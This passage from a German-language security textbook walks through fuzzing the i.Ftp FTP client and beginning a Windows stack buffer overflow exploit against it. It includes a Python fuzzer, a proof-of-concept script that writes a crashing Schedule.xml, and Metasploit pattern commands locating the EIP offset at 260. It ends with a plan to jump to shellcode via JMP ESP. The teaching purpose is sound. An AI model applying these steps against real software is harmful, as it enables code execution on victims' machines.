Die Datei Schedule.xml enthält die Einstellungen, die Sie zuvor unter den Schedule Downloads eingegeben haben. Sie haben hier die drei Datenfelder Url, Time und Folder für eine genauere Untersuchung zur Verfügung.
Listing 9.2 Die Datei »Schedule.xml«
Nun ist es an der Zeit, die ersten Applikationsprobleme zu entdecken. Sie können dafür die folgende Vorgehensweise anwenden: 1. Eingabe von Testdaten in eines der drei Datenfelder 2. Start der Applikation 3. Überprüfung, ob die Anwendung ein unerwartetes Verhalten zeigt 4. Wenn die Anwendung »normal« reagiert, gehen Sie wieder zu Schritt 1 und ändern die Testdaten usw.
Diese Vorgehensweise kann sehr lange dauern und ist nicht gerade spannend, wenn jeder Schritt manuell getätigt wird. Wir zeigen Ihnen nun mit Fuzzing eine einfache Methode, um diese langweiligen Schritte zu automatisieren.
9.3 Automatische Schwachstellensuche mittels Fuzzing Mit Fuzzing wird eine Methode zur maschinellen Untersuchung von Programmen bezeichnet, die automatisch unterschiedliche Eingabewerte in ein Programm testet. Es gibt zahlreiche FuzzingTools (FileFuzz, Spike, Sulley, Peach, …) für die Zwecke, die für diese Aufgaben direkt geeignet sind bzw. anpassbar sind. Sie werden in diesem Beispiel aber Ihren eigenen Fuzzer in Python implementieren. Die folgende Funktionalität muss der Fuzzer bieten: 1. Modifikation der XML-Datenfelder 2. Start der Anwendung 3. Überprüfung, ob die Anwendung ein normales Verhalten zeigt oder Probleme aufgetreten sind 4. Schließen der Anwendung bei Normalverhalten Die Schritte 1 bis 4 werden so lange wiederholt, bis ein Fehlverhalten auftritt. Das folgende Python-Script stellt einen einfachen Fuzzer für den i.Ftp-Client dar. Das Script wird direkt im i.FtpInstallationsverzeichnis ausgeführt und erzeugt bei jedem Durchlauf eine neue Datei Schedule.xml. Im vorliegenden Beispiel wird das Time-Datenfeld mit einem String bestehend aus AAAAA… gefüllt. Die Länge des Strings erhöht sich mit jedem Durchlauf um 100.
Die Überprüfung der Reaktion des i.Ftp-Clients erfolgt in der Funktion isFtpActive() durch den Test, ob das Anwendungsfenster (i.Ftp) sichtbar oder die Anwendung bereits abgestürzt ist. Diese Überprüfung wird viermal im Sekundentakt durchgeführt. Sollte die Anwendung nach vier Sekunden immer noch »funktionieren«, so ist kein Fehlverhalten aufgetreten. Der Prozess wird daraufhin beendet und ein neuer Test gestartet. Sie finden das vollständige Script 0_i.Ftp_Fuzzer.py zum Download bei den Materialien zum Buch. #################################################
## Simple python application fuzzer
##################################################
import sys,struct
import win32ui
import time
import os
#################################################
# Check if the application is running
#################################################
def isFtpActive():
try:
win32ui.FindWindow("i.Ftp", "i.Ftp")
except win32ui.error:
return False
else:
return True
#################################################
# Modify Schedule.xml
#################################################
def modConfigFile(a):
xml =""
xml+=""
xml+=""
xml +=""
f = open(".\Schedule.xml", "wb")
f.write(xml)
f.close()
#################################################
# Fuzzing loop
#################################################
found = False
for a in range (0,1000,100):
print "Length: %s" % (a)
modConfigFile(a)
os.system("start .\iftp.exe")
time.sleep(1)
for i in range (0,4):
if isFtpActive():
print "Still active..."
else:
print "!!!Vulnerability @ %s Bytes found!!!" % (a)
found = True
break
time.sleep(1)
os.system("taskkill /im iftp.exe")
if found:
print '\a\a\a'
break
Listing 9.3 Der selbst entwickelte i.Ftp-Fuzzer
Starten Sie nun ein Windows-Kommandofenster, indem Sie (é) + (R) drücken und cmd.exe eingeben. Wechseln Sie in das i.FtpInstallationsverzeichnis, und starten Sie den selbst entwickelten Fuzzer mittels: C:\Python27\python.exe 0_i.Ftp_fuzzer.py
Nach einigen Durchläufen stoppt der Fuzzer bei einer Länge von 700 Bytes im Time-Feld. Der i.Ftp-Prozess ist nach drei Sekunden abgestürzt. Gratuliere, Sie haben die erste Schwachstelle im i.Ftp-Client gefunden: Length: 700
Still active...
Still active...
!!!Vulnerability @ 700 Bytes found!!!
ERROR: The process "iftp.exe" not found.
Sie können nun das Fuzzing-Script anpassen und sich auf die Suche nach weiteren Schwachstellen machen. Oft kommt in Programmen ein und dasselbe Fehlermuster öfters vor. Für einen Angreifer reicht allerdings meist die Identifikation einer einzigen Schwachstelle aus. Das Verhalten deutet auf einen Buffer Overflow hin. Der Entwickler der Software hat scheinbar nicht damit gerechnet, dass jemand anstatt der typischen 19 Bytes im Time-Feld jetzt 700 Bytes eingefügt hat. Die Eingabe hat einen internen Speicherbereich überschrieben, der schlussendlich zum Absturz des Programms geführt hat. In Listing 9.4 sehen Sie die Datei Schedule.xml, die zum Absturz geführt hat.
Listing 9.4 700 Bytes sind für das Feld »Time« zu viel.
Versuchen Sie nun, den i.Ftp-Client manuell zu starten. Das Programm stürzt nach einigen Sekunden immer wieder reproduzierbar ab. Das ist eine sehr gute Basis für die weitere Analyse des Absturzes.
9.4 Analyse des Absturzes im Debugger Um den exakten Grund des Absturzes zu identifizieren, starten Sie nun den Immunity Debugger und laden dort über File • Open die Datei i.Ftp.exe. Durch Klicken auf Debug • Run bzw. den Play-Button wird die Anwendung im Debugger gestartet. Sie müssen den RunBefehl zweimal ausführen, da standardmäßig ein Breakpoint zu Beginn des Programms eingefügt wird. Nach kurzer Zeit stoppt der Debugger mit der Fehlermeldung Access violation when executing [41414141].
Abbildung 9.16 Der abgestürzte i.Ftp-Client im Debugger
Die Zugriffsverletzung (Access Violation) wird durch das Überschreiben des Instruction Pointers (EIP) mit einer nicht gültigen Adresse (0x41414141) verursacht. Genau genommen wurde EIP mit AAAA überschrieben, dem String, den der Fuzzer manipuliert hat. Der ASCII-Wert für A ist 0x41. Die weitere Analyse des Absturzes und Überlegungen zur Ausnutzung der Schwachstelle finden Sie in Kapitel 10, »Buffer Overflows ausnutzen«.
9.5 Alternativen zum Fuzzing Fuzzing ist eine sehr effektive Methode, um Bugs in Programmen zu finden, wenn der Quellcode der Anwendung nicht vorliegt. Die Programme werden massenweise mit fehlerhaften Daten gefüttert, um ein mögliches Fehlverhalten zu erzeugen. Ein Beispiel für einen erfolgreichen Fuzzing-Test ist die Entdeckung der StagefrightSicherheitslücken im Android-Betriebssystem. Die SecurityAnalysten fanden nach tagelangem Fuzzing eine Reihe von Problemen im Mediensystem von Android. Wir stellen Ihnen den Stagefright Exploit in Kapitel 14, »Real Life Exploitation«, vor. Bei Fuzzing gibt es unterschiedliche Ansätze. Einerseits können einfache, generische Fuzzer einfach alle Bytes eines Dokuments oder Datenstroms verändern, ohne deren Bedeutung zu kennen. Diese Form von Tests kann natürlich zu Ergebnissen führen, ist aber nicht sehr intelligent. Die nächste Generation der Fuzzer kennt die Struktur und Bedeutung der Daten und kann damit wesentlich gezielter durch Setzen bzw. Verletzen von Maximal- und Minimalgrenzen wesentlich rascher zu Ergebnissen führen. Die Methode setzt allerdings voraus, dass der Fuzzer für jede Anwendung an das entsprechende Datenformat angepasst wird. Eine Revolution im Fuzzing ist mit dem American Fuzzing Lop (AFL) eingetreten. Dies ist eine Methode und ein gleichnamiges Tool, die von Michael Zalewski entwickelt wurden. Um AFL zu nutzen, muss die Anwendung allerdings neu kompiliert werden. AFL prüft Codepfade, die ein Programm bei bestimmten Eingabewerten benutzt. Sobald ein neuer Pfad entdeckt wird, nutzt AFL diesen, um tiefer in den Programmcode vorzudringen und die Code Coverage des Tests zu erhöhen. Mit AFL wurden mittlerweile zahlreiche
Sicherheitslücken in Anwendungen und Programmbibliotheken gefunden. AFL besitzt mittlerweile eine sehr große Community; Sie finden das Tool und nähere Informationen auf der Webseite http://lcamtuf.coredump.cx/afl.
9.6 Tools zur Programmanalyse Wir stellen Ihnen in diesem Abschnitt einige Werkzeuge zur Analyse von Schwachstellen in Anwendungen vor. Welches Tool Sie schlussendlich verwenden, ist oft Geschmackssache. Die Programme unterscheiden sich stark im Grad der Automatisierungsmöglichkeiten bzw. der Verfügbarkeit von Erweiterungen und Plugins. 9.6.1 Olly Debug
Olly Debug ist ein weit verbreitetes Standard-Tool für die Analyse von 32-Bit-Windows-Programmen und ist bereits seit 2006 verfügbar. Sie finden den Debugger in der aktuellen Version (2.01) unter http://www.ollydbg.de. Olly erfordert keine Installation, Sie können den Debugger direkt aus4 dem entpackten ZIP-Archiv starten. Um alle Features von Olly zu nutzen, starten Sie den Debugger als Administrator. Abbildung 9.17 zeigt den Hauptbildschirm von Olly.
Abbildung 9.17 Der Hauptbildschirm von Olly Debug
Für ein erstes Kennenlernen des Programms können Sie die mitgelieferte Testanwendung ausprobieren. Sie finden die Datei Test.exe im Olly-Debug-ZIP-Archiv (Abbildung 9.18).
Abbildung 9.18 Das Olly-Debug-ZIP-Archiv
Sie haben zwei Möglichkeiten, um ein Programm mit Olly Debug zu analysieren. In der ersten Variante hängen Sie den Debugger direkt an ein bereits laufendes Programm an. Sie starten Test.exe und lassen sich im Menü File • Attach die Liste der laufenden Prozesse anzeigen.
Abbildung 9.19 Die Liste der laufenden Prozesse
Wählen Sie Test.exe aus, und drücken Sie Attach. Damit ist der Debugger mit der Anwendung verbunden. Drücken Sie nun im Hauptfenster auf den Play-Button bzw. Debug • Run. Damit läuft die Anwendung weiter, und der Debugger stoppt, sobald eine Fehlersituation in der Anwendung auftritt. Sie können das einfach durch Drücken der Taste Read [00000000] in Test.exe erzwingen (siehe Abbildung 9.20).
Abbildung 9.20 Die Olly-Debug-Test-Anwendung
Sie sehen in Abbildung 9.21 den Debugger, nachdem eine Speicherverletzung (Access Violation) aufgetreten ist. Das Hauptfenster ist in vier Bereiche eingeteilt: Assembler (links oben) Register (rechts oben) Speicherdarstellung (links unten) Stack (rechts unten)
Abbildung 9.21 Der Debugger stoppt aufgrund einer Access Violation.
Die zweite Variante zur Analyse eines Programms ist der direkte Start der Anwendung aus dem Debugger heraus. Dazu starten Sie zuerst Olly Debug und laden dann mit File • Open die entsprechende Anwendung. Durch Drücken des Play-Buttons starten Sie die Anwendung. Für die nächsten Schritte in diesem Buch können Sie sowohl Olly Debug als auch den verwandten Immunity Debugger verwenden. Um die volle Funktionalität des Debuggers zu erlernen, empfehlen wir Ihnen, eines der zahlreichen im Internet vorhandenen Tutorials durchzuarbeiten, beispielsweise unter https://www.hackers-arise.com/single-post/2017/10/03/Reverse-EngineeringMalware-Part-5-OllyDbg-Basics. 9.6.2 Immunity Debugger
Der Immunity Debugger und Olly Debug haben gemeinsame Wurzeln. Die Bedienung der beiden Tools ist nahezu identisch. Sie finden den Debugger unter http://debugger.immunityinc.com. Ein spezielles Feature des Debuggers ist die im unteren Bereich des Hauptbildschirms (Abbildung 9.22) dargestellte Kommandozeile. Damit können einfach Erweiterungsmodule angesprochen werden. Das Beispiel zeigt die Aktivierung eines Breakpoints an der Adresse 0x770fcbd8.
Abbildung 9.22 Der Hauptbildschirm des Immunity Debuggers
Wir verwenden in diesem Buch in weiterer Folge für alle Windows-Beispiele den Immunity Debugger. 9.6.3 WinDebug
WinDbg ist ein Teil der Microsoft Windows Debugging Tools und ist für Windows 10 unter https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk zu finden. Das Tool bietet alle notwendigen Funktionalitäten, die für die Analyse von Windows-Programmen benötigt werden. Außerdem sticht das Tool durch sein modernes Design hervor.
Abbildung 9.23 Der WinDbg-Hauptbildschirm
9.6.4 x64dbg
Der x64dbg ist ein Open-Source-Debugger für Windows. Sie finden die aktuelle Version unter https://sourceforge.net/projects/x64dbg zum Download. Das Projekt wird sehr aktiv betreut und wird damit auch laufend weiterentwickelt. Der Debugger ist sowohl für die Analyse von 32-BitProgrammen (x32dbg.exe) als auch für 64-Bit-Programme (x64dbg.exe) geeignet. Ein kombiniertes Startprogramm ist x96dbg.exe; damit können Sie beide Versionen des Tools starten. Sie sehen in Abbildung 9.24 die Hauptansicht des Debuggers. Ein nettes Feature ist die grafische Darstellung des Programmablaufs (Abbildung 9.25). Damit sind Zusammenhänge und Verzweigungen im Assembler-Code leichter zu erfassen.
Abbildung 9.24 Der Debugger x96dbg (x64, x32)
Abbildung 9.25 Grafische Darstellung des Programmablaufs
9.6.5 IDA Pro
IDA ist ein kommerzieller Disassembler und Debugger für Linux, Windows und Mac OS X und kann unter https://www.hex-rays.com bezogen werden. Es existiert eine Community Edition, die kostenlos auf der Website des Herstellers zu finden ist. Die freie Version hat diverse Einschränkungen in Bezug auf die Unterstützung von Prozessorfamilien und Dateiformaten, ist aber ein sehr umfangreiches und professionelles Tool zur Analyse von Programmen, die nur in Binärform zur Verfügung stehen.
Abbildung 9.26 Der IDA-Debugger und -Disassembler
9.6.6 Hopper
Hopper ist ein kommerzieller Disassembler und Debugger zur Analyse von Software basierend auf den Betriebssystemen Mac OS und Linux. Sie finden weitere Informationen zu Hopper auf der Website des Herstellers unter https://www.hopperapp.com. Hopper kann kostenlos für Testzwecke installiert werden, allerdings wird die Testversion automatisch nach 30 Minuten beendet. Hopper bietet eine praktische Funktionalität zur Generierung von Pseudocode aus AssemblerKommandos. Sie sehen in Abbildung 9.28 das Beispiel eines generierten Codefragments. Sowohl der Pseudocode als auch die grafische Darstellung des Programmflusses in Abbildung 9.29 erleichtern die Analyse von Programmen.
Abbildung 9.27 Der Hopper-Disassembler/-Debugger
Abbildung 9.28 Generierter Pseudocode
Abbildung 9.29 Control-Flow-Ansicht in Hopper
9.6.7 GDB – Gnu Debugger
Der Gnu Debugger ist der weit verbreitete De-facto-Standard-Debugger für Linux-Systeme. GDB bietet keine grafische Oberfläche und ist daher für Anwender aus der Windows-Welt sehr gewöhnungsbedürftig. Dennoch kann nach einer gewissen Einarbeitung in das Tool sehr schnell damit gearbeitet werden.
Abbildung 9.30 Der Gnu Debugger GDB
Sie werden GDB in Kapitel 13, »Format String Exploits«, näher kennen und auch lieben lernen. GDB bietet die Möglichkeit, Erweiterungsmodule zu nutzen. Wir werden dazu PEDA – die Python Exploit Development Assistance for GDB – verwenden. Sie finden PEDA unter https://github.com/longld/peda. 9.6.8 EDB – Evan’s Debugger
Evan’s Debugger (EDB) ist ein kostenloser, grafischer Debugger für Linux-Systeme. Der Debugger ist intuitiv bedienbar und sowohl für 32-Bit- als auch für 64-Bit-Programme einsetzbar. EDB bietet einige praktische Zusatzfeatures zur reinen Debugger-Funktionalität. Dazu gehören beispielsweise das ROP-Tool für die Suche nach ROP Gadgets im Programmcode und in Bibliotheken oder der Heap Analyzer. Sie sehen den EDB-Hauptbildschirm in Abbildung 9.31.
Abbildung 9.31 Evan’s Debugger für Linux
9.6.9 Radare2
Radare2 ist ein mächtiges Framework zur Analyse und zum Reverse Engineering von Binärdateien. Das System unterstützt zahlreiche Betriebssysteme wie zum Beispiel Windows, Linux, Mac OS X, Android, iOS.
Sie finden nähere Informationen zu Radare2 unter https://www.radare.org/r. Radare2 kann entweder auf der Kommandozeile bedient werden, oder Sie nutzen beispielsweise Cutter (https://github.com/radareorg/cutter) als Open-Source-GUI für das Framework. Sie sehen in Abbildung 9.32 ein Beispiel von Cutter.
Abbildung 9.32 Das Cutter-GUI für Radare2
9.6.10 Zusammenfassung der Tools
Tabelle 9.1 stellt noch einmal eine Zusammenfassung der grundlegenden Eigenschaften der vorgestellten Werkzeuge zur Programmanalyse dar. Tool
Betriebssystem Link
Olly Debug
Windows 32-Bit
http://www.ollydbg.de
Immunity Debugger
Windows 32-Bit
http://debugger.immunityinc.com
WinDebug Windows 32/64Bit
https://developer.microsoft.com/enus/windows/downloads/windows10-sdk
x64dbg
Windows 32/64Bit
https://sourceforge.net/projects/x64dbg
IDA Pro
Windows, Linux, Mac
https://www.hex-rays.com
Hopper
Linux, Mac
https://www.hopperapp.com
GDB
Windows, Linux
http://www.gnu.org/software/gdb
EDB
Linux
https://github.com/eteran/edb-debugger
Radare2
Windows, Linux, Mac, Android, iOS
https://github.com/radare/radare2
Tabelle 9.1 Debugging-Werkzeuge
10 Buffer Overflows ausnutzen Eine häufige Klasse von Programmfehlern sind Buffer Overflows. Dieses Kapitel widmet sich vorwiegend diesem Problem und zeigt, wie aus einem abstürzenden Programm ein Sicherheitsrisiko wird. Im letzten Kapitel haben Sie Methoden für die Identifikation von potenziellen Sicherheitslücken kennen gelernt. Ein Programmabsturz ist dafür unter bestimmten Bedingungen bereits ein erstes Indiz. Nun werden Sie in die Kunst der ExploitEntwicklung eintauchen und schrittweise die identifizierten Sicherheitslücken ausnutzen, bis Sie schlussendlich Ihren eigenen Code am Zielsystem ausführen können. Wir werden in diesem Kapitel den Schwerpunkt auf die Ausnutzung eines Buffer Overflows unter Windows legen und die praktische Analyse des i.Ftp-Clients fortsetzen. Sie finden ein vollständiges Linux-Beispiel, von der Analyse eines Systems bis zur Entwicklung eines lauffähigen Exploits, in Kapitel 13, »Format String Exploits«.
10.1 Die Crash-Analyse des i.Ftp-Clients Sie konnten in Kapitel 9, »Sicherheitslücken finden und analysieren«, eine Schwachstelle im i.Ftp-Client mittels Fuzzing entdecken. Die Anwendung stürzt ab, wenn in der Konfigurationsdatei Schedule.xml das Time-Datenfeld mit einem 700 Bytes langen String befüllt wird.
Der erste Schritt in der Entwicklung eines Exploits ist die genaue Analyse der Absturzsituation. Sie werden feststellen, dass die exakte Ursache des Absturzes, d. h., welche Stelle im Programm genau dafür verantwortlich ist, für eine erfolgreiche Ausnutzung des Problems nicht wesentlich von Bedeutung ist. Andererseits bedeutet ein Absturz nicht automatisch, dass die Schwachstelle auch ausnutzbar ist. Viele Programmfehler führen nur zu einem Fehlverhalten der Anwendung und sind aus Sicht der Security nicht von Bedeutung. Starten Sie wieder den Immunity Debugger, und laden Sie dort den i.Ftp-Client. Achten Sie darauf, dass die Datei Schedule.xml die Absturzsituation (700 Bytes im Time-Feld) enthält. Nach dem Start sollten Sie die in Abbildung 10.1 dargestellte Situation auf Ihrem System sehen: Die Anwendung stürzt mit einer Access Violation ab.
Abbildung 10.1 Access Violation aufgrund einer manipulierten Konfigurationsdatei
Das Programm stürzt mit einer Zugriffsverletzung (Access Violation) an der Adresse 0x41414141 ab. Diese Adresse ist keine gültige Speicheradresse des Programms. Das nächste auszuführende Kommando sollte exakt an dieser Adresse ausgeführt werden. Betrachten Sie nun in Abbildung 10.2 die Inhalte der Prozessorregister nach dem Absturz.
Abbildung 10.2 Registerinhalte nach dem Absturz
Sie sehen, dass der Instruction Pointer (EIP) mit 0x41414141 überschrieben wurde. Das Register enthält die Adresse des nächsten auszuführenden Befehls. Das ist schlussendlich auch der Grund für den Absturz. 0x41 entspricht dem ASCII-Wert für A – Sie haben das Time-Feld mit einem String bestehend aus lauter A bzw. 0x41 befüllt. Das bedeutet, der Inhalt des Feldes kann die Adresse des nächsten Befehls im Programm bestimmen und somit die Programmausführung manipulieren – das ist auch die Basis für einen lauffähigen Exploit. Der Base Pointer (EBP) wurde ebenfalls mit 0x41414141 überschrieben. EBP ist die Basisadresse von Variablen in einer Funktion; jede Variable wird mittels des Offsets zu EBP referenziert. Zwei weitere Register (EDI und ESP) wurden zwar nicht mit 0x41414141 überschrieben, dennoch weisen sie auf einen mit A gefüllten Speicherbereich. Die beiden Register sind Pointer und enthalten Adressen von Speicherstellen, an denen der Input-String (bzw. Teile davon) im Programmspeicher zu finden sind. Betrachten Sie nun den Stack Pointer (ESP) genauer. Das ESPRegister enthält die Adresse des obersten Elements am Stack, in diesem Fall 0x0019FB58 (der Stack wächst von hohen zu niederen Adressen, das oberste Element des Stacks liegt an der niedrigsten Adresse). Abbildung 10.3 zeigt einen Ausschnitt des
Speicherbereichs. Mit den 700*"A" wurden neben einzelnen Registern auch Teile des Stacks überschrieben.
Abbildung 10.3 Der Stackinhalt nach dem Absturz
Fassen wir noch einmal die Absturzsituation zusammen: EIP (Instruction Pointer) überschrieben mit 0x41414141 EBP (Base Pointer) überschrieben mit 0x41414141 EDI (Index-Register) zeigt auf einen Speicherbereich mit AAAAAA... ESP (Stack Pointer) zeigt auf einen Speicherbereich mit AAAAAA... Diese Situation ist ein starker Indikator dafür, dass die Schwachstelle ausnutzbar ist. Durch gezieltes Überschreiben des Instruction Pointers kann der Programmfluss von außen umgeleitet werden. Für die weiteren Schritte nutzen Sie bitte das Python-Script aus Listing 10.1, um die Datei Schedule.xml zu erzeugen. Damit können Sie den String in der Programmiersprache Python erzeugen und auch manipulieren. (Sie finden das komplette Script 1_i.Ftp_poc.py bei den Materialien zum Buch.) #!/usr/bin/python
import sys,struct
##################################################################
# Buffer (Input Data)
##################################################################
# 700 Bytes crash the application
buf = "A" * 700
##################################################################
# Create Schedule.xml file
##################################################################
xml =""
xml+=""
xml+=""
xml +=""
##################################################################
# Write Schedule.xml file
# Change the Path to Schedule.xml to your needs
# Change / to \ if you have troubles writing the file
##################################################################
f = open(".\Schedule.xml", "wb")
f.write(xml)
f.close()
Listing 10.1 Das i.Ftp-Exploit-Template
Das zentrale Element in dem Script ist die folgende Zeile: buf = "A" * 700
Die Variable buf wird mit 700*"A" initialisiert und etwas weiter unten im Programm in den XML-Code eingefügt. Sie werden in Zukunft genau diese eine Zeile verändern müssen; der restliche Code ist für die Erzeugung der XML-Datei verantwortlich und wird sich nicht mehr ändern. Während das Programm i.Ftp läuft, ist die XML-Datei gelockt und kann nicht überschrieben werden. Rufen Sie nun das Python-Script im i.Ftp-Installationsverzeichnis auf; Sie sollten kurz darauf eine neue Datei Schedule.xml sehen, die beim Start des i.Ftp-Clients auch wieder zum Absturz führt.
10.2 Offsets ermitteln Sie wissen nun aus den ersten Tests, dass die 700 Bytes im TimeFeld einige Register überschreiben und auch am Stack zu finden sind. Allerdings kennen Sie nicht die exakte Position innerhalb des Strings. Um den Instruction Pointer zu überschreiben, benötigen Sie aber genau diese Information, welche vier A aus den 700 Bytes nun das EIP-Register überschreiben. Eines vorweg, es sind weder die ersten vier noch die letzten vier Bytes. Ein einfacher Ansatz für das Problem ist die binäre Suche. Sie unterteilen dazu den String, wie in Abbildung 10.4 dargestellt, in zwei Hälften.
Abbildung 10.4 Den Offset mittels binärer Suche ermitteln
Der Input-String wird in 350 Bytes "A" und 350 Bytes "B" geteilt. Dann starten Sie das Programm und ermitteln die Absturzstelle. Sie können damit die Position auf einen der beiden Blöcke einschränken. Im nächsten Schritt unterteilen Sie den entsprechenden 350-Byte-Block in zwei weitere Hälften (175 Bytes "C" und 175 Byte "D") und stellen wieder fest, in welchem Block der Absturz stattfindet. Nach einigen Testdurchläufen mit weiterer Verkleinerung des Suchbereichs werden Sie die exakte Stelle ermitteln können. Diese Methode ist allerdings recht aufwändig. Mit einer speziellen Gestaltung des Input-Strings kann der Aufwand für die Ermittlung des Offsets auf einen einzigen Test reduziert werden. Das Metasploit Framework bietet dazu einige Hilfsmittel für die Entwicklung von Exploits an. Metasploit ist in Kali Linux vorinstalliert.
Für den nächsten Schritt starten Sie am besten eine virtuelle Maschine mit Kali Linux. Das Metasploit Framework ist im Verzeichnis /usr/share/metasploit-framework zu finden. Lassen Sie sich nun mit dem Script pattern_create.rb einen Unique String der Länge 700 Bytes generieren. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7 Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5 Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3 Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1 Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9 Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7 Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5 At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3 Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A
Listing 10.2 Ein 700 Bytes langer Unique String
Der Unique String besitzt die praktische Eigenschaft, dass jeder vier Byte große Block exakt nur einmal vorkommt, es gibt keine Wiederholungen. Fügen Sie den Unique String in das Python-Script ein, indem Sie die Zeile buf = "A" * 700
durch den generierten String buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A... Ad4Ad5Ax1Ax2A"
ersetzen, und erzeugen Sie dann eine neue Datei Schedule.xml. Abbildung 10.5 zeigt nun die neue Absturzsituation im Immunity Debugger, nachdem die Anwendung den Unique String eingelesen hat.
Abbildung 10.5 Absturzsituation, verursacht durch den Unique String
Der Instruction Pointer wurde mit dem Wert 0x37694136 überschrieben. Für die Ermittlung des exakten Offsets bietet das Metasploit Framework das Script pattern_offset an. /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 700
-q 37694136
[*] Exact match at offset 260
Sie kennen nun die genaue Position der vier Bytes (Offset 260), die den Instruction Pointer überschreiben. Zur Überprüfung der Berechnung können Sie den folgenden Input-String verwenden: buf = "A" * 260 + "BBBB" + "C" * (700 - 260 -4)
Das Ergebnis sehen Sie in Abbildung 10.6.
Abbildung 10.6 Überprüfung der Offset-Berechnung
Abbildung 10.6 zeigt Ihnen nun die Bestätigung, dass der 260-BytesOffset korrekt ist. EIP wurde mit BBBB überschrieben. Die Aufteilung
des Strings in drei unterschiedliche Blöcke erleichtert auch das Verständnis der restlichen Situation. Der Stack Pointer ESP zeigt in den C-Block (genau genommen auf das erste C innerhalb des Bereichs), EDI zeigt in den A-Block (auch hier auf das erste A), und EBP wurde mit vier weiteren Bytes aus dem A-Block überschrieben. EBP wird für die weiteren Betrachtungen nicht benötigt, Sie können zur Übung den Offset mit der gleichen Vorgehensweise wie oben beschrieben ermitteln. Aufgrund des Aufbaus eines Stack Frames wird EBP unmittelbar mit dem Wert vor EIP belegt – der Offset beträgt in diesem Fall 256.
10.3 Eigenen Code ausführen Sie sind nun in der Lage, von außen den Programmfluss durch Manipulation des Instruction Pointers am Offset 260 auf jede beliebige Adresse im Programm umzuleiten. Die Abbildung 10.7 zeigt Ihnen grafisch das Layout des Input-Strings.
Abbildung 10.7 Buffer-Layout mit den ermittelten Offsets
Für die Ausführung des eigenen Codes (Shellcode) können Sie diesen entweder in den A-Block (260 Bytes) oder den C-Block (436 Bytes) einfügen. Ein typischer Shellcode hat eine Länge von 300 bis 400 Bytes. Dafür bietet sich der C-Block an. Obwohl der C-Block im Input-String direkt nach den BBBB folgt, benötigen Sie die absolute Adresse des ersten C-Elements am Stack, um damit den EIP zu überschreiben und dann den Programmfluss dorthin umzuleiten. Hier beginnt das erste Problem: Die absolute Adresse am Stack ist nicht konstant. Selbst wenn Sie die Adresse im Debugger ermitteln, kann bei einem neuerlichen Programmstart der Wert unterschiedlich sein. Allerdings zeigt der Stack Pointer ESP, unabhängig von der jeweiligen absoluten Adresse, immer an die richtige Stelle. Dieser Umstand lässt sich hier gut nutzen. Sie benötigen dazu die Adresse eines Kommandos, das einen Sprung an die Adresse ausführt, auf die ESP gerade zeigt. Der entsprechende Assemblerbefehl JMP ESP führt genau diesen indirekten Sprung aus.
Sie können den Befehl nicht direkt angeben, sondern benötigen die Adresse eines bestehenden Befehls irgendwo im Programmcode. Um ein passendes JMP ESP-Kommando zu finden, laden Sie wieder den i.Ftp-Client in den Immunity Debugger und drücken einmal auf Debug • Run bzw. die Funktionstaste (F9). Klicken Sie dann im Assembler-Fenster (links oben) die rechte Maustaste und anschließend auf Search for • Command bzw. drücken Sie (Strg) + (F), und suchen Sie dann wie in Abbildung 10.8 dargestellt nach dem JMP ESP-Kommando.
Abbildung 10.8 Suche nach Assemblerbefehlen
Leider ist die Suche nicht erfolgreich. Der Programmcode enthält einfach keine JMP ESP-Anweisung. Es gibt aber noch weitere Bereiche, die Sie durchsuchen können. Ein typisches WindowsProgramm besteht aus mehreren Komponenten. Neben dem ausführbaren Programm i.Ftp.exe werden zur Laufzeit noch Bibliotheken, sogenannte Dynamic Link Libraries (DLL), geladen. Sie können die Liste der geladenen Komponenten über View • Executable Modules bzw. (Strg) + (E) betrachten. In Abbildung 10.9 sehen Sie einen Ausschnitt der geladenen DLLs.
Abbildung 10.9 Zur Laufzeit geladene Bibliotheken
Wählen Sie die Bibliothek SHELL32.dll mit einem Doppelklick aus, und Sie gelangen wieder in die Assembler-Ansicht. Eine erneute Suche nach dem JMP ESP-Kommando ist erfolgreich (siehe Abbildung 10.10). In Ihrem Fall wird die Adresse eine andere sein, den Grund dafür werden wir später behandeln. Arbeiten Sie in den folgenden Schritten mit Ihrer ermittelten JMP ESP-Adresse weiter. Sollten Sie in Ihrer Testumgebung in der Bibliothek SHELL32.dll kein JMP ESP-Kommando finden, so setzen Sie die Suche in den anderen geladenen DLLs fort.
Abbildung 10.10 JMP ESP in der Bibliothek SHELL32.dll
Sie sehen in Abbildung 10.11 die geplante Vorgehensweise, um Ihren eigenen Code im C-Block auszuführen. EIP wird mit der statischen Adresse eines JMP ESP-Kommandos aus der geladenen Bibliothek SHELL32.dll überschrieben.
Abbildung 10.11 Indirekter Sprung in den C-Block
